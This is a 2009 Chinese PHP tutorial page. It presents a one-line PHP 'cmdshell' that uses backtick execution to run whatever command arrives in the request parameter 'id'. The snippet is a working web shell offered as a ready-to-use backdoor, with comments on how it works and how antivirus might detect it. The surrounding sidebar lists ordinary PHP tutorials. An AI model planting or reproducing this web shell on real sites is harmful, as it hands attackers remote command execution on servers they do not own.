当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)

PHP
Php部分常见问题总结
从零开始 教你如何搭建Discuz!4.1论坛(图)
php分页函数
php计数器的设计与实现
PHP初学者头疼问题总结
WinXP + Apache +PHP5 + MySQL + phpMyAdmin安装全功略
PHP截取中文字符串的问题
删除无限级目录与文件代码共享
生成静态页面的PHP类
转换中文为unicode 转换unicode到正常文本
玩转图像函数库—常见图形操作
Windows下PHP5和Apache的安装与配置
apache+mysql+php+ssl服务器之完全安装攻略
PHP.MVC的模板标签系统(一)
PHP.MVC的模板标签系统(二)
PHP.MVC的模板标签系统(三)
PHP.MVC的模板标签系统(四)
PHP.MVC的模板标签系统(五)
Windows下的PHP5.0安装配制详解
PHP中的串行化变量和序列化对象

PHP 中的 php一句话cmdshell新型 (非一句话木马)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 189 ::
收藏到网摘: n/a

php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
复制代码 代码如下:

<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>